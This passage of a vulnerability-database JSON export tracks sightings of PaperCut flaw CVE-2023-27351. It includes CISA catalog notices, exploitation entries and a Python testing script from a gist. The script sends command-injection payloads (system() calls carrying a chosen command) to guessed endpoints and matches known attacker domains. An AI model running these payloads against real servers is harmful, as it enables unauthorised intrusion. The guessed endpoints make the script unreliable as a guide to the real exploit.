\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Huntress \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442  \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0441\u0442\u0440\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b PaperCut, \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u043f\u043e\u0440\u0442 \u0432\u0435\u0431-\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u043f\u043e\u0440\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 9191) \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u043f\u043e\u0440\u0442 \u043d\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.", "creation_timestamp": "2023-04-24T20:42:54.000000Z"}, {"uuid": "a3b90f2f-69a7-4408-8a77-2ab85a8f4771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://t.me/cibsecurity/62538", "content": "\u203c CVE-2023-27351 \u203c\n\nThis vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-20T20:30:51.000000Z"}, {"uuid": "1daf25a9-edfd-4572-89c3-0a26324b4bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "57d96b36-d892-4236-b9f9-c9eeaa268647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "6667911e-f657-4433-974c-fee2184ea9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-18T19:00:04.390884Z"}, {"uuid": "a563e204-d6ce-487f-9802-f8eab292091d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://t.me/VulnerabilityNews/42097", "content": "CISA Adds 8 Exploited Flaws to KEV, Sets April-May 2026 Federal Deadlines\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, including three flaws impacting Cisco Catalyst SD-WAN Manager, citing evidence of active exploitation.\nThe list of vulnerabilities is as follows -\n\nCVE-2023-27351 (CVSS score: 8.2) - An improper authentication vulnerability in PaperCut\nhttps://thehackernews.com/2026/04/cisa-adds-8-exploited-flaws-to-kev-sets.html", "creation_timestamp": "2026-08-18T19:00:04.741867Z"}, {"uuid": "fb228bfe-3f50-4215-aaff-2312b113942d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bf641c24-c047-4851-9a18-c109a3fd2b43", "content": "", "creation_timestamp": "2026-06-19T12:45:13.450035Z"}, {"uuid": "a08d73df-66c9-44ef-852c-0d21e7146191", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/02326394-56c4-4ec5-822c-0301f542bc02", "content": "", "creation_timestamp": "2026-06-23T14:03:39.800396Z"}, {"uuid": "f96f1a20-33d9-415a-8683-0dad71d0d663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:15:24.611439Z"}, {"uuid": "9ef303c8-51b5-4f27-9dbc-072b30096292", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c555d607-a490-46e6-b81c-27005a7204c3", "content": "", "creation_timestamp": "2026-06-30T09:22:48.488114Z"}, {"uuid": "153c3001-5bca-4ca8-8f5e-72d44c6c1778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-19T00:00:09.340123Z"}, {"uuid": "7bf43309-dcbd-42fa-8acb-2d9e7d8e093c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42097", "content": "CISA Adds 8 Exploited Flaws to KEV, Sets April-May 2026 Federal Deadlines\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, including three flaws impacting Cisco Catalyst SD-WAN Manager, citing evidence of active exploitation.\nThe list of vulnerabilities is as follows -\n\nCVE-2023-27351 (CVSS score: 8.2) - An improper authentication vulnerability in PaperCut\nhttps://thehackernews.com/2026/04/cisa-adds-8-exploited-flaws-to-kev-sets.html", "creation_timestamp": "2026-08-19T00:00:09.174526Z"}, {"uuid": "51923632-1ec7-48e8-885f-64951b433125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-27351", "type": "seen", "source": "https://gist.github.com/HORKimhab/553834eb2fe4292d17dedd4371241851", "content": "#!/usr/bin/env python3\n\"\"\"\nPaperCut MF/NG Vulnerability Test PoC\nCVE-2023-27350 (RCE) and CVE-2023-27351 (Information Disclosure)\nFor educational/testing purposes only - use on authorized systems only!\n\"\"\"\n\nimport requests\nimport json\nimport sys\nimport argparse\nimport urllib3\nfrom typing import Optional, Dict, List\n\n# Disable SSL warnings for testing\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass PaperCutVulnerabilityTester:\n    def __init__(self, target: str, port: int = 9191, use_https: bool = False):\n        \"\"\"\n        Initialize the tester for a PaperCut server\n        \n        Args:\n            target: IP address or hostname\n            port: Port number (default 9191 for HTTP, 9192 for HTTPS)\n            use_https: Use HTTPS instead of HTTP\n        \"\"\"\n        self.target = target\n        self.port = port\n        self.protocol = \"https\" if use_https else \"http\"\n        self.base_url = f\"{self.protocol}://{target}:{port}\"\n        self.session = requests.Session()\n        self.session.verify = False\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        })\n        \n    def test_connection(self) -> bool:\n        \"\"\"Test if the PaperCut server is reachable\"\"\"\n        try:\n            response = self.session.get(f\"{self.base_url}/\", timeout=5)\n            return response.status_code in [200, 302, 401, 403]\n        except Exception:\n            return False\n    \n    def check_vulnerable_version(self) -> Optional[Dict]:\n        \"\"\"\n        Check for vulnerable version indicators\n        Returns version info if found, None otherwise\n        \"\"\"\n        vulnerable_versions = {\n            '8.0.0': '19.2.7',\n            '20.0.0': '20.1.6',\n            '21.0.0': '21.2.10',\n            '22.0.0': '22.0.8'\n        }\n        \n        # Try to get version from common endpoints\n        endpoints = [\n            '/about',\n            '/api/version',\n            '/app',\n            '/papercut'\n        ]\n        \n        for endpoint in endpoints:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\", \n                    timeout=5, \n                    allow_redirects=True\n                )\n                \n                if response.status_code == 200:\n                    # Look for version in response\n                    text = response.text.lower()\n                    for version_range in vulnerable_versions:\n                        if version_range.replace('.', '') in text.replace('.', ''):\n                            return {\n                                'indicator': version_range,\n                                'endpoint': endpoint,\n                                'vulnerable': True,\n                                'vulnerabilities': ['CVE-2023-27350', 'CVE-2023-27351']\n                            }\n            except Exception:\n                continue\n        \n        return None\n    \n    # ===================== CVE-2023-27351 (Information Disclosure) =====================\n    def test_po1219_info_disclosure(self) -> Dict:\n        \"\"\"\n        Test for CVE-2023-27351 / PO-1219 - User account data vulnerability\n        This attempts to pull user information without authentication\n        \"\"\"\n        results = {\n            'vulnerability': 'CVE-2023-27351 (PO-1219)',\n            'detected': False,\n            'details': [],\n            'risk': 'High (8.2 CVSS)'\n        }\n        \n        # Common endpoints that might expose user data\n        test_endpoints = [\n            '/api/users',\n            '/api/user-list',\n            '/services/user',\n            '/rpc/user',\n            '/user/export',\n            '/api/user/',\n            '/user/search'\n        ]\n        \n        for endpoint in test_endpoints:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    timeout=5,\n                    params={'limit': 1}  # Try to limit results\n                )\n                \n                if response.status_code == 200:\n                    content_type = response.headers.get('content-type', '')\n                    if 'json' in content_type.lower() or 'xml' in content_type.lower():\n                        try:\n                            data = response.json() if 'json' in content_type.lower() else None\n                            if data and any(key in str(data).lower() for key in ['username', 'email', 'user']):\n                                results['detected'] = True\n                                results['details'].append({\n                                    'endpoint': endpoint,\n                                    'status': 'Potential user data exposure',\n                                    'sample': str(data)[:200] + '...' if len(str(data)) > 200 else str(data)\n                                })\n                        except:\n                            pass\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== CVE-2023-27350 (Remote Code Execution) =====================\n    def test_po1216_rce(self, test_command: str = \"echo test\") -> Dict:\n        \"\"\"\n        Test for CVE-2023-27350 / PO-1216 - Remote Code Execution\n        This attempts to execute commands without authentication\n        \n        Args:\n            test_command: Command to test execution (default: echo test)\n        \"\"\"\n        results = {\n            'vulnerability': 'CVE-2023-27350 (PO-1216)',\n            'detected': False,\n            'details': [],\n            'risk': 'Critical (9.8 CVSS)'\n        }\n        \n        # Common RCE vectors for PaperCut\n        rce_vectors = [\n            # Print script injection\n            {\n                'endpoint': '/rpc/printscript',\n                'method': 'POST',\n                'data': {\n                    'script': f'system(\"{test_command}\")',\n                    'name': 'test'\n                }\n            },\n            # Config modification via setup-wizard\n            {\n                'endpoint': '/api/config',\n                'method': 'POST',\n                'data': {\n                    'key': 'print-and-device.script.enabled',\n                    'value': 'Y'\n                }\n            },\n            # Device script upload\n            {\n                'endpoint': '/api/device/script',\n                'method': 'POST',\n                'data': {\n                    'script': f'print(\"{test_command}\")',\n                    'device': 'test'\n                }\n            }\n        ]\n        \n        for vector in rce_vectors:\n            try:\n                if vector['method'] == 'GET':\n                    response = self.session.get(\n                        f\"{self.base_url}{vector['endpoint']}\",\n                        timeout=5\n                    )\n                else:\n                    response = self.session.post(\n                        f\"{self.base_url}{vector['endpoint']}\",\n                        json=vector['data'],\n                        timeout=5,\n                        headers={'Content-Type': 'application/json'}\n                    )\n                \n                # Check for signs of command execution\n                if response.status_code in [200, 201, 202]:\n                    if test_command in response.text:\n                        results['detected'] = True\n                        results['details'].append({\n                            'vector': vector,\n                            'status': f'Command execution likely succeeded: {test_command}',\n                            'response_preview': response.text[:200]\n                        })\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== IOC Detection =====================\n    def check_iocs(self) -> Dict:\n        \"\"\"\n        Check for known Indicators of Compromise (IOCs)\n        \"\"\"\n        results = {\n            'iocs_detected': [],\n            'suspicious_activity': False,\n            'details': []\n        }\n        \n        known_iocs = [\n            'upd488.windowservicecemter.com',\n            'anydeskupdate.com',\n            'anydeskupdates.com',\n            'netviewremote.com',\n            'windowservicecenter.com',\n            'winserverupdates.com'\n        ]\n        \n        # Check for suspicious scripts\n        for endpoint in ['/setup', '/scripting', '/scripts']:\n            try:\n                response = self.session.get(\n                    f\"{self.base_url}{endpoint}\",\n                    timeout=5\n                )\n                if response.status_code == 200:\n                    text = response.text.lower()\n                    for ioc in known_iocs:\n                        if ioc in text:\n                            results['iocs_detected'].append(ioc)\n                            results['suspicious_activity'] = True\n                            results['details'].append({\n                                'type': 'IOC',\n                                'indicator': ioc,\n                                'location': endpoint\n                            })\n            except Exception:\n                continue\n        \n        return results\n    \n    # ===================== Main Test =====================\n    def run_all_tests(self) -> Dict:\n        \"\"\"\n        Run all vulnerability tests\n        \"\"\"\n        print(f\"[*] Testing PaperCut server at {self.base_url}\")\n        print(\"[*] Running tests for CVE-2023-27350 and CVE-2023-27351\\n\")\n        \n        results = {\n            'target': self.target,\n            'port': self.port,\n            'connection': self.test_connection(),\n            'version_check': self.check_vulnerable_version(),\n            'po_1219': self.test_po1219_info_disclosure(),\n            'po_1216': self.test_po1216_rce(),\n            'iocs': self.check_iocs()\n        }\n        \n        # Summary\n        print(\"\\n\" + \"=\"*60)\n        print(\"TEST RESULTS SUMMARY\")\n        print(\"=\"*60)\n        \n        if not results['connection']:\n            print(\"[!] Unable to connect to the target. Check host and port.\")\n            return results\n        \n        print(f\"[+] Connection successful to {self.base_url}\")\n        \n        if results['version_check']:\n            print(f\"[!] Server appears to be running a vulnerable version\")\n            print(f\"    Indicator: {results['version_check']}\")\n        \n        # PO-1219 Results\n        po_1219 = results['po_1219']\n        print(f\"\\n[!] {po_1219['vulnerability']} (CVSS: {po_1219['risk']})\")\n        if po_1219['detected']:\n            print(\"    \u26a0\ufe0f  POTENTIALLY VULNERABLE - Information disclosure detected\")\n            for detail in po_1219['details']:\n                print(f\"    - Endpoint: {detail['endpoint']}\")\n                print(f\"      Status: {detail['status']}\")\n        else:\n            print(\"    \u2713 No obvious information disclosure detected\")\n        \n        # PO-1216 Results\n        po_1216 = results['po_1216']\n        print(f\"\\n[!] {po_1216['vulnerability']} (CVSS: {po_1216['risk']})\")\n        if po_1216['detected']:\n            print(\"    \u26a0\ufe0f  CRITICAL - Remote Code Execution detected!\")\n            for detail in po_1216['details']:\n                print(f\"    - Vector: {detail['vector']['endpoint']}\")\n                print(f\"      Status: {detail['status']}\")\n        else:\n            print(\"    \u2713 No immediate RCE vulnerability detected\")\n        \n        # IOC Check\n        iocs = results['iocs']\n        if iocs['suspicious_activity']:\n            print(f\"\\n[!] SUSPICIOUS ACTIVITY DETECTED!\")\n            print(\"    Indicators of Compromise found:\")\n            for ioc in iocs['iocs_detected']:\n                print(f\"    - {ioc}\")\n        else:\n            print(\"\\n[+] No known IOCs detected\")\n        \n        print(\"\\n\" + \"=\"*60)\n        print(\"[*] RECOMMENDATIONS:\")\n        print(\"    1. If vulnerable, upgrade to version 20.1.7, 21.2.11, or 22.0.9+\")\n        print(\"    2. Block external access to ports 9191 and 9192\")\n        print(\"    3. Review server logs for suspicious activity\")\n        print(\"    4. Check for the IOCs listed in the PaperCut KB article\")\n        print(\"=\"*60)\n        \n        return results\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='PaperCut MF/NG Vulnerability Tester (CVE-2023-27350, CVE-2023-27351)',\n        epilog='Use only on authorized systems!'\n    )\n    parser.add_argument('target', help='Target IP address or hostname')\n    parser.add_argument('-p', '--port', type=int, default=9191, \n                       help='Port (default: 9191 for HTTP, 9192 for HTTPS)')\n    parser.add_argument('--https', action='store_true', \n                       help='Use HTTPS (default port: 9192)')\n    parser.add_argument('--command', default='echo test',\n                       help='Test command for RCE detection (default: echo test)')\n    \n    args = parser.parse_args()\n    \n    # Adjust port for HTTPS if not specified\n    if args.https and args.port == 9191:\n        args.port = 9192\n    \n    tester = PaperCutVulnerabilityTester(args.target, args.port, args.https)\n    tester.run_all_tests()\n\n\nif __name__ == \"__main__\":\n    print(\"\"\"\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n    \u2551  PaperCut MF/NG Vulnerability Tester (CVE-2023-27350 & CVE-2023-27351)      \u2551\n    \u2551  WARNING: Use only on systems you own or have explicit permission to test!  \u2551\n    \u2551  Based on PaperCut KB: PO-1216 and PO-1219                                  \u2551\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n    \"\"\")\n    main()", "creation_timestamp": "2026-08-28T07:17:24.811511Z"}]}